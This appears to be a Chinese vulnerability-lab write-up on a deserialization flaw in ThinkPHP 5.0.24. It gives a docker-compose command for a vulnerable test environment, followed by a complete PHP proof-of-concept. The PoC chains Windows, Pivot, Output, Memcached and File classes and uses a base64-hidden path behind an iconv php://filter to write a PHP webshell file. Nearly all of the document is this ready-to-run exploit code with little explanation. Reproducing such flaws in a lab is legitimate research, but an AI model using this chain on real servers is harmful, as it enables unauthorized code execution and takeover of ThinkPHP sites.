ThinkPHP5 5.0.24 Unserialize Vulnerability

ThinkPHP是一款运用极广的PHP开发框架。其5.0.24版本中,存在反序列化利用链,可导致任意文件写入,从而getshell。

参考链接:

漏洞环境

执行如下命令启动一个默认的thinkphp 5.0.24环境:

docker-compose up -d

环境启动后,访问http://your-ip:8080即可看到默认的ThinkPHP启动页面。

漏洞复现

POC:

<?php

namespace think\process\pipes;
abstract class Pipes
{
}

use think\model\Pivot;

class Windows extends Pipes
{
    private $files = [];

    function __construct()
    {
        $this->files = [new Pivot()];
    }
}

namespace think;

abstract class Model
{
    protected $append = [];
    protected $error;
    protected $parent;
}

namespace think\model;

use think\Model;
use think\console\Output;
use think\model\relation\HasOne;

class Pivot extends Model
{
    public $parent;

    function __construct()
    {
        $this->append = ["getError" => "getError"];
        $this->parent = new Output();
        $this->error = new HasOne();
    }
}

namespace think\db;

use think\console\Output;

class Query
{
    protected $model;

    function __construct()
    {
        $this->model = new Output();
    }
}

namespace think\model;
abstract class Relation
{
    protected $selfRelation;
    protected $query;
}

namespace think\model\relation;

use think\model\Relation;

abstract class OneToOne extends Relation
{
    protected $bindAttr = [];
}

use think\db\Query;

class HasOne extends OneToOne
{
    function __construct()
    {
        $this->selfRelation = false;
        $this->query = new Query();
        $this->bindAttr = [1 => "file"];
    }
}

namespace think\console;

use  think\session\driver\Memcached;

class Output
{
    private $handle = null;
    protected $styles = [];

    function __construct()
    {
        $this->handle = new Memcached();
        $this->styles = ["getAttr"];
    }
}

namespace think\session\driver;

use think\cache\driver\File;

class Memcached
{
    protected $handler = null;
    protected $config = [];

    function __construct()
    {
        $this->handler = new File();
        $this->config = [
            'session_name' => '',
            'expire' => null,
        ];
    }
}


namespace think\cache\driver;
class File
{
    protected $options = [];
    protected $tag;

    function __construct()
    {
        $this->options = [
            'expire' => 0,
            'cache_subdir' => false,
            'prefix' => '',
            'path' => 'php://filter/write=convert.iconv.IBM1390%2fUTF-8/resource=' . base64_decode('TG94aXhAeGl4cXZnd01dXm9uJQ=='),
            'data_compress' => false,
        ];
        $this->tag = true;
    }

    public function get_filename()
    {
        $name = md5('tag_' . md5($this->tag));
        $filename = $this->options['path'];
        $pos = strpos($filename, "resource=");
        $filename = urlencode(substr($filename, $pos + strlen("resource=")));
        return $filename . $name . ".php";
    }
}


use think\process\pipes\Windows;

echo urlencode(serialize(new Windows()));

echo "\n";
$f = new File();
echo $f->get_filename();